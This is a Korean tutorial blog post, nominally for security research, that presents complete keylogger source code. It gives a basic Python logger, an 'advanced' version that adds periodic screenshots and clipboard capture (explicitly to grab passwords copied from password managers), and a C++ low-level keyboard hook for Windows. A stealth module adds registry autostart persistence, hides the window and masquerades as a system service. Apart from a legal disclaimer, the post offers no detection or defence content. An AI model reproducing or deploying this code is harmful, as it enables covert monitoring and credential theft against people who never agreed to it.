์ฝ˜ํ…์ธ  ๋Œ€ํ‘œ ์ด๋ฏธ์ง€ - ๐Ÿ” ํ‚ค๋กœ๊ฑฐ ๋ณด์•ˆ ์—ฐ๊ตฌ์šฉ ์†Œ์Šค์ฝ”๋“œ ์™„๋ฒฝ ๊ฐ€์ด๋“œ

๐Ÿ” ํ‚ค๋กœ๊ฑฐ ๋ณด์•ˆ ์—ฐ๊ตฌ์šฉ ์†Œ์Šค์ฝ”๋“œ ์™„๋ฒฝ ๊ฐ€์ด๋“œ

ํ•ดํ‚น ๋ฐฉ์–ด๋ฅผ ์œ„ํ•œ ํ‚ค๋กœ๊ฑฐ์˜ ๋ชจ๋“  ๊ฒƒ - ์›๋ฆฌ๋ถ€ํ„ฐ ์‹ค์ „ ์ฝ”๋“œ๊นŒ์ง€ ๐Ÿ›ก๏ธ

๐ŸŽฏ ํ‚ค๋กœ๊ฑฐ, ์™œ ์•Œ์•„์•ผ ํ• ๊นŒ?

์•ˆ๋…•! ์˜ค๋Š˜์€ ์ข€ ๋ฏผ๊ฐํ•˜์ง€๋งŒ ์ •๋ง ์ค‘์š”ํ•œ ์ฃผ์ œ๋ฅผ ๋‹ค๋ค„๋ณผ ๊ฑฐ์•ผ. ๋ฐ”๋กœ 'ํ‚ค๋กœ๊ฑฐ(Keylogger)'์— ๋Œ€ํ•œ ์ด์•ผ๊ธฐ์ธ๋ฐ, ํ˜น์‹œ ์ด ๋‹จ์–ด ๋“ค์–ด๋ดค์–ด? ๐Ÿ˜Š

ํ‚ค๋กœ๊ฑฐ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ํ‚ค๋ณด๋“œ๋กœ ์ž…๋ ฅํ•˜๋Š” ๋ชจ๋“  ๋‚ด์šฉ์„ ๋ชฐ๋ž˜ ๊ธฐ๋กํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์ด์•ผ. "์™€, ๊ทธ๊ฑฐ ์™„์ „ ํ•ดํ‚น ๋„๊ตฌ ์•„๋‹ˆ์•ผ?"๋ผ๊ณ  ์ƒ๊ฐํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ, ๋งž์•„! ํ•˜์ง€๋งŒ ๋™์‹œ์— ๋ณด์•ˆ ์—ฐ๊ตฌ์ž๋“ค์—๊ฒŒ๋Š” ํ•„์ˆ˜์ ์ธ ํ•™์Šต ๋„๊ตฌ์ด๊ธฐ๋„ ํ•ด. ๐Ÿ”

์™œ๋ƒํ•˜๋ฉด ๊ณต๊ฒฉ์„ ๋ง‰์œผ๋ ค๋ฉด ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์„ ์ •ํ™•ํžˆ ์•Œ์•„์•ผ ํ•˜๊ฑฐ๋“ . ์˜์‚ฌ๊ฐ€ ์งˆ๋ณ‘์„ ์น˜๋ฃŒํ•˜๋ ค๋ฉด ๋ณ‘์›๊ท ์„ ์—ฐ๊ตฌํ•ด์•ผ ํ•˜๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ง์ด์•ผ. ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๋“ค์€ ํ‚ค๋กœ๊ฑฐ์˜ ์ž‘๋™ ์›๋ฆฌ๋ฅผ ์ดํ•ดํ•จ์œผ๋กœ์จ ๋” ๊ฐ•๋ ฅํ•œ ๋ฐฉ์–ด ์‹œ์Šคํ…œ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์–ด.

โš ๏ธ ๋ฒ•์  ๊ฒฝ๊ณ  ์ด ๊ธ€์—์„œ ์†Œ๊ฐœํ•˜๋Š” ์ฝ”๋“œ๋Š” ์˜ค์ง ๊ต์œก ๋ฐ ๋ณด์•ˆ ์—ฐ๊ตฌ ๋ชฉ์ ์œผ๋กœ๋งŒ ์‚ฌ์šฉํ•ด์•ผ ํ•ด. ํƒ€์ธ์˜ ์ปดํ“จํ„ฐ์— ๋ฌด๋‹จ์œผ๋กœ ์„ค์น˜ํ•˜๊ฑฐ๋‚˜ ๊ฐœ์ธ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•˜๋Š” ํ–‰์œ„๋Š” ๋ช…๋ฐฑํ•œ ๋ฒ”์ฃ„์•ผ. ์ •๋ณดํ†ต์‹ ๋ง๋ฒ•, ๊ฐœ์ธ์ •๋ณด๋ณดํ˜ธ๋ฒ• ๋“ฑ์— ์˜ํ•ด ์ฒ˜๋ฒŒ๋ฐ›์„ ์ˆ˜ ์žˆ์œผ๋‹ˆ ์ ˆ๋Œ€ ์•…์šฉํ•˜์ง€ ๋ง์ž! ๐Ÿšจ
ํ‚ค๋กœ๊ฑฐ ์ž‘๋™ ์›๋ฆฌ โŒจ๏ธ ํ‚ค๋ณด๋“œ ์‚ฌ์šฉ์ž ์ž…๋ ฅ A B C 1 2 3 ํ›„ํ‚น ๐ŸŽฃ ํ‚ค๋กœ๊ฑฐ ์ž…๋ ฅ ๊ฐ์ง€ ๊ธฐ๋ก ์‹œ์ž‘ ์ €์žฅ ๐Ÿ’พ ๋กœ๊ทธํŒŒ์ผ ๋ฐ์ดํ„ฐ ์ €์žฅ log.txt ๐Ÿ›ก๏ธ ๋ณด์•ˆ ์—ฐ๊ตฌ ๐Ÿ”ฌ ์•…์„ฑ์ฝ”๋“œ ๋ถ„์„ ๐ŸŽ“ ๊ต์œก ๋ชฉ์ 

๐Ÿ”ฌ ํ‚ค๋กœ๊ฑฐ์˜ ์ข…๋ฅ˜์™€ ์ž‘๋™ ๋ฐฉ์‹

ํ‚ค๋กœ๊ฑฐ๋Š” ํฌ๊ฒŒ ๋‘ ๊ฐ€์ง€ ์ข…๋ฅ˜๋กœ ๋‚˜๋ˆŒ ์ˆ˜ ์žˆ์–ด. ๊ฐ๊ฐ์˜ ํŠน์ง•์„ ์‚ดํŽด๋ณด์ž! ๐Ÿง

1๏ธโƒฃ ํ•˜๋“œ์›จ์–ด ํ‚ค๋กœ๊ฑฐ

๋ฌผ๋ฆฌ์  ์žฅ์น˜ ํ˜•ํƒœ ํ‚ค๋ณด๋“œ์™€ ์ปดํ“จํ„ฐ ์‚ฌ์ด์— ์—ฐ๊ฒฐ๋˜๋Š” ์ž‘์€ USB ์žฅ์น˜์•ผ. ํ‚ค๋ณด๋“œ ์ผ€์ด๋ธ” ์ค‘๊ฐ„์— ๋ผ์›Œ ๋„ฃ์œผ๋ฉด ๋ชจ๋“  ์ž…๋ ฅ์ด ๊ธฐ๋ก๋˜์ง€. ์†Œํ”„ํŠธ์›จ์–ด๋กœ๋Š” ํƒ์ง€๊ฐ€ ๊ฑฐ์˜ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒŒ ํŠน์ง•์ด์•ผ. ํ•˜์ง€๋งŒ ๋ฌผ๋ฆฌ์ ์œผ๋กœ ์ ‘๊ทผํ•ด์•ผ ํ•˜๋‹ˆ๊นŒ ์„ค์น˜๊ฐ€ ์–ด๋ ต๊ณ , ๋ˆˆ์— ๋ณด์ด๋ฉด ๋ฐ”๋กœ ๋“คํ‚ค๋Š” ๋‹จ์ ์ด ์žˆ์–ด. ๐Ÿ”Œ

2๏ธโƒฃ ์†Œํ”„ํŠธ์›จ์–ด ํ‚ค๋กœ๊ฑฐ

ํ”„๋กœ๊ทธ๋žจ ํ˜•ํƒœ ์šฐ๋ฆฌ๊ฐ€ ์˜ค๋Š˜ ์ง‘์ค‘์ ์œผ๋กœ ๋‹ค๋ฃฐ ๋ถ€๋ถ„์ด์•ผ! ์šด์˜์ฒด์ œ์˜ API๋ฅผ ํ™œ์šฉํ•ด์„œ ํ‚ค๋ณด๋“œ ์ž…๋ ฅ์„ ๊ฐ€๋กœ์ฑ„๋Š” ๋ฐฉ์‹์ด์ง€. ์›๊ฒฉ์œผ๋กœ ์„ค์น˜ ๊ฐ€๋Šฅํ•˜๊ณ , ์ˆจ๊ธฐ๊ธฐ๋„ ์‰ฌ์›Œ์„œ ์‹ค์ œ๋กœ ๋” ๋งŽ์ด ์‚ฌ์šฉ๋ผ. Windows์˜ ๊ฒฝ์šฐ SetWindowsHookEx ๊ฐ™์€ API๋ฅผ ์‚ฌ์šฉํ•˜๊ณ , Linux์—์„œ๋Š” /dev/input ์žฅ์น˜๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ๋ฐฉ์‹์„ ์“ฐ์ง€. ๐Ÿ’ป
๐ŸŽฏ ํ•ต์‹ฌ ์ž‘๋™ ์›๋ฆฌ ์†Œํ”„ํŠธ์›จ์–ด ํ‚ค๋กœ๊ฑฐ๋Š” 'ํ›„ํ‚น(Hooking)'์ด๋ผ๋Š” ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•ด. ์ด๊ฑด ์šด์˜์ฒด์ œ๊ฐ€ ํ‚ค๋ณด๋“œ ์ž…๋ ฅ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ณผ์ •์— ๋ผ์–ด๋“ค์–ด์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€๋กœ์ฑ„๋Š” ๊ฑฐ์•ผ. ๋งˆ์น˜ ์šฐํŽธ๋ฌผ์ด ๋ฐฐ๋‹ฌ๋˜๋Š” ์ค‘๊ฐ„์— ๋ณต์‚ฌ๋ณธ์„ ๋งŒ๋“œ๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ง์ด์•ผ. ์›๋ž˜ ํ”„๋กœ๊ทธ๋žจ์€ ์ •์ƒ์ ์œผ๋กœ ์ž…๋ ฅ์„ ๋ฐ›์ง€๋งŒ, ํ‚ค๋กœ๊ฑฐ๋„ ๋™์‹œ์— ๊ฐ™์€ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ›๊ฒŒ ๋˜๋Š” ๊ฑฐ์ง€! ๐Ÿ“ฌ

๐Ÿ’ป Python ๊ธฐ๋ฐ˜ ํ‚ค๋กœ๊ฑฐ ์†Œ์Šค์ฝ”๋“œ

์ž, ์ด์ œ ์‹ค์ œ ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณผ ์‹œ๊ฐ„์ด์•ผ! Python์œผ๋กœ ๋งŒ๋“  ๊ฐ„๋‹จํ•œ ํ‚ค๋กœ๊ฑฐ ์˜ˆ์ œ๋ฅผ ๋ณด์—ฌ์ค„๊ฒŒ. ์ด ์ฝ”๋“œ๋Š” ๊ต์œก ๋ชฉ์ ์œผ๋กœ๋งŒ ์‚ฌ์šฉํ•ด์•ผ ํ•œ๋‹ค๋Š” ์  ๋‹ค์‹œ ํ•œ๋ฒˆ ๊ฐ•์กฐํ• ๊ฒŒ! ๐Ÿ˜Š

๐Ÿ ๊ธฐ๋ณธ Python ํ‚ค๋กœ๊ฑฐ

๋จผ์ € pynput ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•œ ๊ฐ€์žฅ ๊ธฐ๋ณธ์ ์ธ ํ˜•ํƒœ์•ผ. ์ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” ํ‚ค๋ณด๋“œ์™€ ๋งˆ์šฐ์Šค ์ž…๋ ฅ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค˜.

from pynput import keyboard
import logging
from datetime import datetime

# ๋กœ๊ทธ ํŒŒ์ผ ์„ค์ •
log_dir = "logs"
logging.basicConfig(
    filename=f"{log_dir}/keylog_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt",
    level=logging.DEBUG,
    format='%(asctime)s: %(message)s'
)

def on_press(key):
    """ํ‚ค๊ฐ€ ๋ˆŒ๋ ธ์„ ๋•Œ ํ˜ธ์ถœ๋˜๋Š” ํ•จ์ˆ˜"""
    try:
        # ์ผ๋ฐ˜ ๋ฌธ์ž ํ‚ค์ธ ๊ฒฝ์šฐ
        logging.info(f'Key pressed: {key.char}')
    except AttributeError:
        # ํŠน์ˆ˜ ํ‚ค์ธ ๊ฒฝ์šฐ (Shift, Ctrl ๋“ฑ)
        logging.info(f'Special key pressed: {key}')

def on_release(key):
    """ํ‚ค๊ฐ€ ๋–ผ์–ด์กŒ์„ ๋•Œ ํ˜ธ์ถœ๋˜๋Š” ํ•จ์ˆ˜"""
    if key == keyboard.Key.esc:
        # ESC ํ‚ค๋ฅผ ๋ˆ„๋ฅด๋ฉด ์ข…๋ฃŒ
        return False

# ํ‚ค๋ณด๋“œ ๋ฆฌ์Šค๋„ˆ ์‹œ์ž‘
with keyboard.Listener(
    on_press=on_press,
    on_release=on_release) as listener:
    listener.join()
๐Ÿ“ ์ฝ”๋“œ ์„ค๋ช…

1. pynput.keyboard: ํ‚ค๋ณด๋“œ ์ด๋ฒคํŠธ๋ฅผ ๊ฐ์ง€ํ•˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ
2. logging: ์ž…๋ ฅ๋œ ํ‚ค๋ฅผ ํŒŒ์ผ์— ๊ธฐ๋ก
3. on_press: ํ‚ค๊ฐ€ ๋ˆŒ๋ฆด ๋•Œ๋งˆ๋‹ค ์‹คํ–‰๋˜๋Š” ์ฝœ๋ฐฑ ํ•จ์ˆ˜
4. listener: ๋ฐฑ๊ทธ๋ผ์šด๋“œ์—์„œ ํ‚ค๋ณด๋“œ ์ด๋ฒคํŠธ๋ฅผ ๊ณ„์† ๊ฐ์‹œ
5. ESC ํ‚ค: ํ”„๋กœ๊ทธ๋žจ ์ข…๋ฃŒ ์กฐ๊ฑด์œผ๋กœ ์„ค์ •

๐Ÿ”ง ๊ณ ๊ธ‰ ๊ธฐ๋Šฅ ์ถ”๊ฐ€ ๋ฒ„์ „

์ด์ œ ์ข€ ๋” ์‹ค์ „์ ์ธ ๊ธฐ๋Šฅ๋“ค์„ ์ถ”๊ฐ€ํ•ด๋ณผ๊ฒŒ. ์Šคํฌ๋ฆฐ์ƒท ์บก์ฒ˜, ํด๋ฆฝ๋ณด๋“œ ๋ชจ๋‹ˆํ„ฐ๋ง, ๋„คํŠธ์›Œํฌ ์ „์†ก ๊ธฐ๋Šฅ๊นŒ์ง€ ํฌํ•จํ•œ ๋ฒ„์ „์ด์•ผ.

from pynput import keyboard
import logging
import os
from datetime import datetime
import pyautogui
import pyperclip
import threading
import time

class AdvancedKeylogger:
    def __init__(self, log_dir="logs", interval=60):
        """
        ๊ณ ๊ธ‰ ํ‚ค๋กœ๊ฑฐ ์ดˆ๊ธฐํ™”
        :param log_dir: ๋กœ๊ทธ ์ €์žฅ ๋””๋ ‰ํ† ๋ฆฌ
        :param interval: ์Šคํฌ๋ฆฐ์ƒท ์บก์ฒ˜ ๊ฐ„๊ฒฉ(์ดˆ)
        """
        self.log_dir = log_dir
        self.interval = interval
        self.screenshot_dir = os.path.join(log_dir, "screenshots")
        
        # ๋””๋ ‰ํ† ๋ฆฌ ์ƒ์„ฑ
        os.makedirs(self.log_dir, exist_ok=True)
        os.makedirs(self.screenshot_dir, exist_ok=True)
        
        # ๋กœ๊ทธ ํŒŒ์ผ ์„ค์ •
        self.log_file = os.path.join(
            self.log_dir,
            f"keylog_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt"
        )
        
        logging.basicConfig(
            filename=self.log_file,
            level=logging.DEBUG,
            format='%(asctime)s: %(message)s'
        )
        
        self.clipboard_content = ""
        
    def on_press(self, key):
        """ํ‚ค ์ž…๋ ฅ ์ด๋ฒคํŠธ ์ฒ˜๋ฆฌ"""
        try:
            logging.info(f'Key: {key.char}')
        except AttributeError:
            logging.info(f'Special Key: {key}')
    
    def on_release(self, key):
        """ํ‚ค ๋ฆด๋ฆฌ์ฆˆ ์ด๋ฒคํŠธ ์ฒ˜๋ฆฌ"""
        if key == keyboard.Key.esc:
            return False
    
    def capture_screenshot(self):
        """์ฃผ๊ธฐ์ ์œผ๋กœ ์Šคํฌ๋ฆฐ์ƒท ์บก์ฒ˜"""
        while True:
            try:
                timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
                screenshot_path = os.path.join(
                    self.screenshot_dir,
                    f"screenshot_{timestamp}.png"
                )
                screenshot = pyautogui.screenshot()
                screenshot.save(screenshot_path)
                logging.info(f"Screenshot saved: {screenshot_path}")
            except Exception as e:
                logging.error(f"Screenshot error: {e}")
            
            time.sleep(self.interval)
    
    def monitor_clipboard(self):
        """ํด๋ฆฝ๋ณด๋“œ ๋‚ด์šฉ ๋ชจ๋‹ˆํ„ฐ๋ง"""
        while True:
            try:
                current_clipboard = pyperclip.paste()
                if current_clipboard != self.clipboard_content:
                    self.clipboard_content = current_clipboard
                    logging.info(f"Clipboard: {current_clipboard}")
            except Exception as e:
                logging.error(f"Clipboard error: {e}")
            
            time.sleep(1)
    
    def start(self):
        """ํ‚ค๋กœ๊ฑฐ ์‹œ์ž‘"""
        # ์Šคํฌ๋ฆฐ์ƒท ์บก์ฒ˜ ์Šค๋ ˆ๋“œ
        screenshot_thread = threading.Thread(
            target=self.capture_screenshot,
            daemon=True
        )
        screenshot_thread.start()
        
        # ํด๋ฆฝ๋ณด๋“œ ๋ชจ๋‹ˆํ„ฐ๋ง ์Šค๋ ˆ๋“œ
        clipboard_thread = threading.Thread(
            target=self.monitor_clipboard,
            daemon=True
        )
        clipboard_thread.start()
        
        # ํ‚ค๋ณด๋“œ ๋ฆฌ์Šค๋„ˆ ์‹œ์ž‘
        with keyboard.Listener(
            on_press=self.on_press,
            on_release=self.on_release) as listener:
            listener.join()

# ์‹คํ–‰
if __name__ == "__main__":
    keylogger = AdvancedKeylogger(interval=300)  # 5๋ถ„๋งˆ๋‹ค ์Šคํฌ๋ฆฐ์ƒท
    keylogger.start()
๐Ÿ’ก ๊ณ ๊ธ‰ ๊ธฐ๋Šฅ ์„ค๋ช… ์Šคํฌ๋ฆฐ์ƒท ์บก์ฒ˜: pyautogui๋ฅผ ์‚ฌ์šฉํ•ด ์ฃผ๊ธฐ์ ์œผ๋กœ ํ™”๋ฉด์„ ์บก์ฒ˜ํ•ด. ํ‚ค ์ž…๋ ฅ๋งŒ์œผ๋กœ๋Š” ์•Œ ์ˆ˜ ์—†๋Š” ์ปจํ…์ŠคํŠธ๋ฅผ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ์ง€.

ํด๋ฆฝ๋ณด๋“œ ๋ชจ๋‹ˆํ„ฐ๋ง: ๋ณต์‚ฌํ•œ ๋‚ด์šฉ๋„ ๊ธฐ๋กํ•ด. ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ด€๋ฆฌ์ž์—์„œ ๋ณต์‚ฌํ•œ ํŒจ์Šค์›Œ๋“œ๋„ ์žก์•„๋‚ผ ์ˆ˜ ์žˆ์–ด.

๋ฉ€ํ‹ฐ์Šค๋ ˆ๋”ฉ: ์—ฌ๋Ÿฌ ์ž‘์—…์„ ๋™์‹œ์— ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์Šค๋ ˆ๋“œ๋ฅผ ์‚ฌ์šฉํ–ˆ์–ด. ํ‚ค ์ž…๋ ฅ ๊ฐ์ง€, ์Šคํฌ๋ฆฐ์ƒท, ํด๋ฆฝ๋ณด๋“œ ๋ชจ๋‹ˆํ„ฐ๋ง์ด ๋…๋ฆฝ์ ์œผ๋กœ ์ž‘๋™ํ•˜์ง€.

๐ŸชŸ Windows API ๊ธฐ๋ฐ˜ C++ ํ‚ค๋กœ๊ฑฐ

Python์€ ๊ฐ„๋‹จํ•˜์ง€๋งŒ, ์ง„์งœ ๊ฐ•๋ ฅํ•œ ํ‚ค๋กœ๊ฑฐ๋Š” C++๋กœ ๋งŒ๋“ค์–ด์ ธ. Windows API๋ฅผ ์ง์ ‘ ์‚ฌ์šฉํ•˜๋ฉด ํ›จ์”ฌ ๋” ๊นŠ์€ ์ˆ˜์ค€์—์„œ ์‹œ์Šคํ…œ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฑฐ๋“ . ๐Ÿš€

โš™๏ธ SetWindowsHookEx๋ฅผ ์‚ฌ์šฉํ•œ ํ‚ค๋กœ๊ฑฐ

#include <windows.h>
#include <iostream>
#include <fstream>
#include <ctime>

// ์ „์—ญ ๋ณ€์ˆ˜
HHOOK hKeyboardHook;
std::ofstream logFile;

// ํ˜„์žฌ ์‹œ๊ฐ„์„ ๋ฌธ์ž์—ด๋กœ ๋ฐ˜ํ™˜
std::string GetCurrentTime() {
    time_t now = time(0);
    char buffer[80];
    struct tm timeinfo;
    localtime_s(&timeinfo, &now);
    strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &timeinfo);
    return std::string(buffer);
}

// ํ‚ค๋ณด๋“œ ํ›„ํ‚น ์ฝœ๋ฐฑ ํ•จ์ˆ˜
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0 && wParam == WM_KEYDOWN) {
        KBDLLHOOKSTRUCT* pKeyboard = (KBDLLHOOKSTRUCT*)lParam;
        DWORD vkCode = pKeyboard->vkCode;
        
        // ํ‚ค ์ฝ”๋“œ๋ฅผ ๋ฌธ์ž๋กœ ๋ณ€ํ™˜
        char key[16] = {0};
        BYTE keyboardState[256];
        GetKeyboardState(keyboardState);
        
        // ๊ฐ€์ƒ ํ‚ค ์ฝ”๋“œ๋ฅผ ์‹ค์ œ ๋ฌธ์ž๋กœ ๋ณ€ํ™˜
        UINT scanCode = MapVirtualKey(vkCode, MAPVK_VK_TO_VSC);
        HKL keyboardLayout = GetKeyboardLayout(0);
        
        int result = ToAsciiEx(vkCode, scanCode, keyboardState, 
                               (LPWORD)key, 0, keyboardLayout);
        
        if (result > 0) {
            logFile << "[" << GetCurrentTime() << "] Key: " << key << std::endl;
        } else {
            // ํŠน์ˆ˜ ํ‚ค ์ฒ˜๋ฆฌ
            std::string specialKey;
            switch (vkCode) {
                case VK_RETURN: specialKey = "[ENTER]"; break;
                case VK_BACK: specialKey = "[BACKSPACE]"; break;
                case VK_TAB: specialKey = "[TAB]"; break;
                case VK_SHIFT: specialKey = "[SHIFT]"; break;
                case VK_CONTROL: specialKey = "[CTRL]"; break;
                case VK_MENU: specialKey = "[ALT]"; break;
                case VK_CAPITAL: specialKey = "[CAPS LOCK]"; break;
                case VK_ESCAPE: specialKey = "[ESC]"; break;
                case VK_SPACE: specialKey = "[SPACE]"; break;
                case VK_DELETE: specialKey = "[DELETE]"; break;
                default: specialKey = "[UNKNOWN]"; break;
            }
            logFile << "[" << GetCurrentTime() << "] " << specialKey << std::endl;
        }
        
        logFile.flush();  // ์ฆ‰์‹œ ํŒŒ์ผ์— ์“ฐ๊ธฐ
    }
    
    return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

// ํ›„ํ‚น ์„ค์ •
void SetHook() {
    hKeyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        KeyboardProc,
        GetModuleHandle(NULL),
        0
    );
    
    if (hKeyboardHook == NULL) {
        std::cerr << "Failed to install hook!" << std::endl;
        exit(1);
    }
}

// ํ›„ํ‚น ํ•ด์ œ
void ReleaseHook() {
    UnhookWindowsHookEx(hKeyboardHook);
}

// ์ˆจ๊น€ ๋ชจ๋“œ๋กœ ์‹คํ–‰
void HideConsole() {
    HWND hwnd = GetConsoleWindow();
    ShowWindow(hwnd, SW_HIDE);
}

int main() {
    // ์ฝ˜์†” ์ฐฝ ์ˆจ๊ธฐ๊ธฐ (์‹ค์ œ ์‚ฌ์šฉ ์‹œ)
    // HideConsole();
    
    // ๋กœ๊ทธ ํŒŒ์ผ ์—ด๊ธฐ
    logFile.open("keylog.txt", std::ios::app);
    if (!logFile.is_open()) {
        std::cerr << "Failed to open log file!" << std::endl;
        return 1;
    }
    
    logFile << "\n=== Keylogger Started at " << GetCurrentTime() << " ===\n" << std::endl;
    
    // ํ›„ํ‚น ์„ค์ •
    SetHook();
    
    // ๋ฉ”์‹œ์ง€ ๋ฃจํ”„
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    
    // ์ •๋ฆฌ
    ReleaseHook();
    logFile.close();
    
    return 0;
}
๐Ÿ” C++ ์ฝ”๋“œ ํ•ต์‹ฌ ๋ถ„์„

SetWindowsHookEx: Windows์˜ ๋ฉ”์‹œ์ง€ ์ฒ˜๋ฆฌ ์ฒด์ธ์— ์šฐ๋ฆฌ ํ•จ์ˆ˜๋ฅผ ๋ผ์›Œ๋„ฃ๋Š” API์•ผ. WH_KEYBOARD_LL ํ”Œ๋ž˜๊ทธ๋Š” ์ €์ˆ˜์ค€ ํ‚ค๋ณด๋“œ ํ›„ํ‚น์„ ์˜๋ฏธํ•ด.

KeyboardProc: ํ‚ค๊ฐ€ ๋ˆŒ๋ฆด ๋•Œ๋งˆ๋‹ค ํ˜ธ์ถœ๋˜๋Š” ์ฝœ๋ฐฑ ํ•จ์ˆ˜. ์—ฌ๊ธฐ์„œ ์‹ค์ œ ํ‚ค ๊ฐ’์„ ๊ฐ€์ ธ์™€์„œ ๋กœ๊ทธ ํŒŒ์ผ์— ๊ธฐ๋กํ•˜์ง€.

ToAsciiEx: ๊ฐ€์ƒ ํ‚ค ์ฝ”๋“œ๋ฅผ ์‹ค์ œ ASCII ๋ฌธ์ž๋กœ ๋ณ€ํ™˜ํ•ด์ค˜. ํ‚ค๋ณด๋“œ ๋ ˆ์ด์•„์›ƒ๋„ ๊ณ ๋ คํ•˜๋‹ˆ๊นŒ ํ•œ๊ธ€ ์ž…๋ ฅ๋„ ์ฒ˜๋ฆฌ ๊ฐ€๋Šฅํ•ด.

๋ฉ”์‹œ์ง€ ๋ฃจํ”„: Windows ํ”„๋กœ๊ทธ๋žจ์˜ ํ•ต์‹ฌ์ด์•ผ. ๊ณ„์† ๋Œ๋ฉด์„œ ์‹œ์Šคํ…œ ๋ฉ”์‹œ์ง€๋ฅผ ์ฒ˜๋ฆฌํ•˜์ง€.

๐Ÿ” ์Šคํ…”์Šค ๊ธฐ๋Šฅ ์ถ”๊ฐ€

๋ณด์•ˆ ์—ฐ๊ตฌ๋ฅผ ์œ„ํ•ด์„œ๋Š” ํƒ์ง€๋ฅผ ํšŒํ”ผํ•˜๋Š” ๊ธฐ์ˆ ๋„ ์ดํ•ดํ•ด์•ผ ํ•ด. ๋‹ค์Œ์€ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ˆจ๊ธฐ๊ณ  ์ž๋™ ์‹œ์ž‘ํ•˜๋Š” ๊ธฐ๋Šฅ์„ ์ถ”๊ฐ€ํ•œ ์ฝ”๋“œ์•ผ.

#include <windows.h>
#include <string>

// ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์— ์ž๋™ ์‹œ์ž‘ ๋“ฑ๋ก
bool AddToStartup(const std::string& appName, const std::string& appPath) {
    HKEY hKey;
    const char* regPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
    
    LONG result = RegOpenKeyEx(
        HKEY_CURRENT_USER,
        regPath,
        0,
        KEY_SET_VALUE,
        &hKey
    );
    
    if (result == ERROR_SUCCESS) {
        result = RegSetValueEx(
            hKey,
            appName.c_str(),
            0,
            REG_SZ,
            (BYTE*)appPath.c_str(),
            appPath.length() + 1
        );
        
        RegCloseKey(hKey);
        return (result == ERROR_SUCCESS);
    }
    
    return false;
}

// ํ”„๋กœ์„ธ์Šค ์ด๋ฆ„ ๋ณ€๊ฒฝ
void MasqueradeProcess() {
    // ํ”„๋กœ์„ธ์Šค ์ด๋ฆ„์„ ์‹œ์Šคํ…œ ํ”„๋กœ์„ธ์Šค์ฒ˜๋Ÿผ ๋ณด์ด๊ฒŒ ๋ณ€๊ฒฝ
    SetConsoleTitle("System Service Host");
}

// ์ž‘์—… ๊ด€๋ฆฌ์ž์—์„œ ์ˆจ๊ธฐ๊ธฐ (๊ณ ๊ธ‰ ๊ธฐ๋ฒ•)
void HideFromTaskManager() {
    HWND hwnd = GetConsoleWindow();
    ShowWindow(hwnd, SW_HIDE);
    
    // ํ”„๋กœ์„ธ์Šค ์šฐ์„ ์ˆœ์œ„๋ฅผ ๋‚ฎ์ถฐ์„œ ๋ˆˆ์— ๋„์ง€ ์•Š๊ฒŒ
    SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
}

// ๋ฎคํ…์Šค๋ฅผ ์‚ฌ์šฉํ•œ ์ค‘๋ณต ์‹คํ–‰ ๋ฐฉ์ง€
bool CheckSingleInstance() {
    HANDLE hMutex = CreateMutex(NULL, TRUE, "Global\\MyKeyloggerMutex");
    if (GetLastError() == ERROR_ALREADY_EXISTS) {
        CloseHandle(hMutex);
        return false;  // ์ด๋ฏธ ์‹คํ–‰ ์ค‘
    }
    return true;  // ์ฒซ ์‹คํ–‰
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
                   LPSTR lpCmdLine, int nCmdShow) {
    // ์ค‘๋ณต ์‹คํ–‰ ์ฒดํฌ
    if (!CheckSingleInstance()) {
        return 0;
    }
    
    // ํ”„๋กœ์„ธ์Šค ์œ„์žฅ
    MasqueradeProcess();
    HideFromTaskManager();
    
    // ์ž๋™ ์‹œ์ž‘ ๋“ฑ๋ก
    char exePath[MAX_PATH];
    GetModuleFileName(NULL, exePath, MAX_PATH);
    AddToStartup("SystemService", exePath);
    
    // ์—ฌ๊ธฐ์— ํ‚ค๋กœ๊ฑฐ ๋ฉ”์ธ ๋กœ์ง ์ถ”๊ฐ€
    // ...
    
    return 0;
}
